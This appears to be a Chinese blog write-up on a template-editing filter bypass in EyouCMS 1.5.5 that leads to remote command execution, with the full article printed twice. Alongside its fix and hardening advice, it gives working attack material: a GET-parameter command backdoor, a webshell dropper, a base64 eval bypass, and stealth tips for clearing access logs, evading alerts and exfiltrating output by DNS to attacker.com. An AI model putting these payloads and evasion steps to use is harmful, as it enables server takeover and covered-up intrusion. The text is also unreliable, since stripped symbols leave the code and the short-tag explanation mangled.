1. EyouCMS 1.5.5 后台模板编辑漏洞概述EyouCMS 是一款基于 ThinkPHP 框架开发的企业内容管理系统广泛应用于各类网站建设。在 1.5.5 版本中后台模板编辑功能存在一个严重的漏洞攻击者可以通过精心构造的 payload 绕过系统对 PHP 代码的过滤最终实现任意命令执行。这个漏洞的核心在于模板编辑功能中的editFile函数对 PHP 短标签的过滤不严格。虽然系统对常规的?php标签进行了严格过滤但却忽略了?这种短标签形式。攻击者可以利用这个疏漏在模板文件中插入恶意代码当模板被解析时就会执行这些代码。2. 漏洞原理深度分析2.1 漏洞位置与过滤机制漏洞主要存在于application/admin/logic/FilemanagerLogic.php文件中的editFile函数。这个函数负责处理后台模板编辑的请求其过滤逻辑如下$content htmlspecialchars_decode($content, ENT_QUOTES); if (preg_match(#lt;([^?]*)\?php#i, $content) || (preg_match(#lt;\?#i, $content) preg_match(#\?gt;#i, $content)) || preg_match(#\{eyou\:php([^\}]*)\}#i, $content) || preg_match(#\{php([^\}]*)\}#i, $content)) { return 模板里不允许有php语法为了安全考虑请通过FTP工具进行编辑上传。; }从代码可以看出系统主要过滤了四种情况包含?php的内容同时包含?和?的内容包含{eyou:php...}的内容包含{php...}的内容2.2 过滤逻辑的缺陷这个过滤机制存在一个明显的漏洞 - 它没有考虑到 PHP 的短标签?。这种短标签在 PHP 配置中short_open_tag开启时默认通常开启可以正常使用等同于?php echo ...。攻击者可以构造如下 payload 绕过过滤?exec(whoami);这种写法既不会被第一个规则匹配因为没有php关键字也不会被第二个规则匹配因为没有闭合的?。当这个模板被解析时PHP 会执行exec(whoami)并将结果输出。3. 漏洞利用实战演示3.1 环境准备为了复现这个漏洞你需要安装 EyouCMS 1.5.5 版本获取后台管理员权限可以通过其他漏洞或合法途径确保目标服务器的 PHP 配置中short_open_tag开启默认通常开启3.2 漏洞利用步骤登录后台使用管理员账号登录 EyouCMS 后台管理系统。进入模板编辑导航到系统设置-模板管理选择 PC 端的模板通常是/template/pc/index.htm。插入恶意代码在模板文件的最后添加以下内容?exec($_GET[cmd]);注意不要添加闭合的?这样可以避免触发过滤规则。保存模板点击保存按钮系统会提示保存成功。触发漏洞访问网站首页并附加cmd参数例如http://target.com/?cmdwhoami服务器会执行whoami命令并返回结果。3.3 高级利用技巧获取交互式 shell可以使用以下 payload 获取更强大的控制能力?system($_GET[cmd]. 21);写入 Webshell可以通过以下命令写入一个 webshell?file_put_contents(shell.php, ?php eval($_POST[cmd]);?);绕过特殊字符过滤如果目标对某些字符进行了过滤可以使用 base64 编码绕过?eval(base64_decode($_GET[code]));然后传递 base64 编码的命令如system(whoami);的 base64 编码是c3lzdGVtKCd3aG9hbWknKTs。4. 漏洞防御与修复方案4.1 临时缓解措施如果暂时无法升级系统可以采取以下措施降低风险禁用模板在线编辑修改后台权限禁止非必要人员访问模板编辑功能。加强文件权限设置模板文件为只读防止被修改。WAF 规则在 Web 应用防火墙中添加规则拦截包含?的请求。4.2 彻底修复方案官方已经在新版本中修复了这个漏洞建议用户立即升级到最新版本。修复方案主要包括完善过滤规则在FilemanagerLogic.php中添加对?的过滤if (preg_match(#lt;\?#i, $content)) { return 模板里不允许有php语法为了安全考虑请通过FTP工具进行编辑上传。; }禁用短标签在 php.ini 中设置short_open_tag Off但这可能会影响其他正常功能。输入内容转义对模板内容进行更严格的转义处理。4.3 安全开发建议白名单过滤采用白名单机制只允许特定的 HTML 标签和属性。代码审计定期对系统进行安全审计特别是文件操作相关功能。最小权限原则后台功能应该按照最小权限原则进行设计限制非必要的高危操作。5. 漏洞影响与危害评估5.1 受影响版本经确认EyouCMS 1.5.5 及之前的版本均受此漏洞影响。后续版本已经修复。5.2 潜在危害这个漏洞的危害性极高攻击者可以利用它实现完全控制服务器执行任意系统命令获取服务器权限。数据泄露读取数据库配置文件窃取敏感数据。网站篡改修改网站内容植入恶意代码或钓鱼页面。作为跳板以内网主机的身份进一步攻击内网其他系统。5.3 实际案例分析在实际渗透测试中我们发现多个使用 EyouCMS 的政府和企业网站存在此漏洞。攻击者通常利用这个漏洞植入挖矿程序消耗服务器资源窃取用户数据建立持久化后门发起钓鱼攻击6. 渗透测试中的实用技巧6.1 自动化检测脚本可以使用以下 Python 脚本检测目标是否存在此漏洞import requests def check_vulnerability(url): try: # 尝试访问一个不存在的路径触发404页面 response requests.get(url /nonexistpath) if EyouCMS in response.text: # 检查版本信息 if 1.5.5 in response.text: return True except: pass return False6.2 隐蔽利用技巧日志清理执行命令后记得清理系统日志?system(echo /var/log/apache2/access.log);时间延迟使用 sleep 命令避免触发安全设备的警报?system(sleep 10 whoami);DNS 外带数据通过 DNS 查询外带数据?system(dig whoami.attacker.com);7. 从开发者角度看漏洞成因7.1 设计缺陷这个漏洞反映了几个常见的安全设计问题黑名单机制采用黑名单过滤往往会有遗漏应该使用白名单机制。客户端信任过度信任后台用户的输入即使是管理员也可能被劫持。功能与安全的平衡为了方便而牺牲安全性在线编辑模板虽然方便但风险很高。7.2 安全编码建议使用安全的文件操作函数比如htmlspecialchars()对输出进行转义。严格的权限控制即使是后台功能也要细分权限。安全审计流程建立代码审查制度特别是对高危操作。8. 漏洞修复后的验证方法修复后可以通过以下方法验证漏洞是否真正修复尝试插入短标签在模板中插入?phpinfo();并保存系统应该拒绝保存。检查过滤规则查看FilemanagerLogic.php是否添加了对?的检测。功能测试确保正常的模板编辑功能不受影响。安全扫描使用专业的安全扫描工具进行检测。
EyouCMS 1.5.5 后台模板编辑绕过与命令执行漏洞深度剖析
发布时间:2026/7/15 9:08:28
1. EyouCMS 1.5.5 后台模板编辑漏洞概述EyouCMS 是一款基于 ThinkPHP 框架开发的企业内容管理系统广泛应用于各类网站建设。在 1.5.5 版本中后台模板编辑功能存在一个严重的漏洞攻击者可以通过精心构造的 payload 绕过系统对 PHP 代码的过滤最终实现任意命令执行。这个漏洞的核心在于模板编辑功能中的editFile函数对 PHP 短标签的过滤不严格。虽然系统对常规的?php标签进行了严格过滤但却忽略了?这种短标签形式。攻击者可以利用这个疏漏在模板文件中插入恶意代码当模板被解析时就会执行这些代码。2. 漏洞原理深度分析2.1 漏洞位置与过滤机制漏洞主要存在于application/admin/logic/FilemanagerLogic.php文件中的editFile函数。这个函数负责处理后台模板编辑的请求其过滤逻辑如下$content htmlspecialchars_decode($content, ENT_QUOTES); if (preg_match(#lt;([^?]*)\?php#i, $content) || (preg_match(#lt;\?#i, $content) preg_match(#\?gt;#i, $content)) || preg_match(#\{eyou\:php([^\}]*)\}#i, $content) || preg_match(#\{php([^\}]*)\}#i, $content)) { return 模板里不允许有php语法为了安全考虑请通过FTP工具进行编辑上传。; }从代码可以看出系统主要过滤了四种情况包含?php的内容同时包含?和?的内容包含{eyou:php...}的内容包含{php...}的内容2.2 过滤逻辑的缺陷这个过滤机制存在一个明显的漏洞 - 它没有考虑到 PHP 的短标签?。这种短标签在 PHP 配置中short_open_tag开启时默认通常开启可以正常使用等同于?php echo ...。攻击者可以构造如下 payload 绕过过滤?exec(whoami);这种写法既不会被第一个规则匹配因为没有php关键字也不会被第二个规则匹配因为没有闭合的?。当这个模板被解析时PHP 会执行exec(whoami)并将结果输出。3. 漏洞利用实战演示3.1 环境准备为了复现这个漏洞你需要安装 EyouCMS 1.5.5 版本获取后台管理员权限可以通过其他漏洞或合法途径确保目标服务器的 PHP 配置中short_open_tag开启默认通常开启3.2 漏洞利用步骤登录后台使用管理员账号登录 EyouCMS 后台管理系统。进入模板编辑导航到系统设置-模板管理选择 PC 端的模板通常是/template/pc/index.htm。插入恶意代码在模板文件的最后添加以下内容?exec($_GET[cmd]);注意不要添加闭合的?这样可以避免触发过滤规则。保存模板点击保存按钮系统会提示保存成功。触发漏洞访问网站首页并附加cmd参数例如http://target.com/?cmdwhoami服务器会执行whoami命令并返回结果。3.3 高级利用技巧获取交互式 shell可以使用以下 payload 获取更强大的控制能力?system($_GET[cmd]. 21);写入 Webshell可以通过以下命令写入一个 webshell?file_put_contents(shell.php, ?php eval($_POST[cmd]);?);绕过特殊字符过滤如果目标对某些字符进行了过滤可以使用 base64 编码绕过?eval(base64_decode($_GET[code]));然后传递 base64 编码的命令如system(whoami);的 base64 编码是c3lzdGVtKCd3aG9hbWknKTs。4. 漏洞防御与修复方案4.1 临时缓解措施如果暂时无法升级系统可以采取以下措施降低风险禁用模板在线编辑修改后台权限禁止非必要人员访问模板编辑功能。加强文件权限设置模板文件为只读防止被修改。WAF 规则在 Web 应用防火墙中添加规则拦截包含?的请求。4.2 彻底修复方案官方已经在新版本中修复了这个漏洞建议用户立即升级到最新版本。修复方案主要包括完善过滤规则在FilemanagerLogic.php中添加对?的过滤if (preg_match(#lt;\?#i, $content)) { return 模板里不允许有php语法为了安全考虑请通过FTP工具进行编辑上传。; }禁用短标签在 php.ini 中设置short_open_tag Off但这可能会影响其他正常功能。输入内容转义对模板内容进行更严格的转义处理。4.3 安全开发建议白名单过滤采用白名单机制只允许特定的 HTML 标签和属性。代码审计定期对系统进行安全审计特别是文件操作相关功能。最小权限原则后台功能应该按照最小权限原则进行设计限制非必要的高危操作。5. 漏洞影响与危害评估5.1 受影响版本经确认EyouCMS 1.5.5 及之前的版本均受此漏洞影响。后续版本已经修复。5.2 潜在危害这个漏洞的危害性极高攻击者可以利用它实现完全控制服务器执行任意系统命令获取服务器权限。数据泄露读取数据库配置文件窃取敏感数据。网站篡改修改网站内容植入恶意代码或钓鱼页面。作为跳板以内网主机的身份进一步攻击内网其他系统。5.3 实际案例分析在实际渗透测试中我们发现多个使用 EyouCMS 的政府和企业网站存在此漏洞。攻击者通常利用这个漏洞植入挖矿程序消耗服务器资源窃取用户数据建立持久化后门发起钓鱼攻击6. 渗透测试中的实用技巧6.1 自动化检测脚本可以使用以下 Python 脚本检测目标是否存在此漏洞import requests def check_vulnerability(url): try: # 尝试访问一个不存在的路径触发404页面 response requests.get(url /nonexistpath) if EyouCMS in response.text: # 检查版本信息 if 1.5.5 in response.text: return True except: pass return False6.2 隐蔽利用技巧日志清理执行命令后记得清理系统日志?system(echo /var/log/apache2/access.log);时间延迟使用 sleep 命令避免触发安全设备的警报?system(sleep 10 whoami);DNS 外带数据通过 DNS 查询外带数据?system(dig whoami.attacker.com);7. 从开发者角度看漏洞成因7.1 设计缺陷这个漏洞反映了几个常见的安全设计问题黑名单机制采用黑名单过滤往往会有遗漏应该使用白名单机制。客户端信任过度信任后台用户的输入即使是管理员也可能被劫持。功能与安全的平衡为了方便而牺牲安全性在线编辑模板虽然方便但风险很高。7.2 安全编码建议使用安全的文件操作函数比如htmlspecialchars()对输出进行转义。严格的权限控制即使是后台功能也要细分权限。安全审计流程建立代码审查制度特别是对高危操作。8. 漏洞修复后的验证方法修复后可以通过以下方法验证漏洞是否真正修复尝试插入短标签在模板中插入?phpinfo();并保存系统应该拒绝保存。检查过滤规则查看FilemanagerLogic.php是否添加了对?的检测。功能测试确保正常的模板编辑功能不受影响。安全扫描使用专业的安全扫描工具进行检测。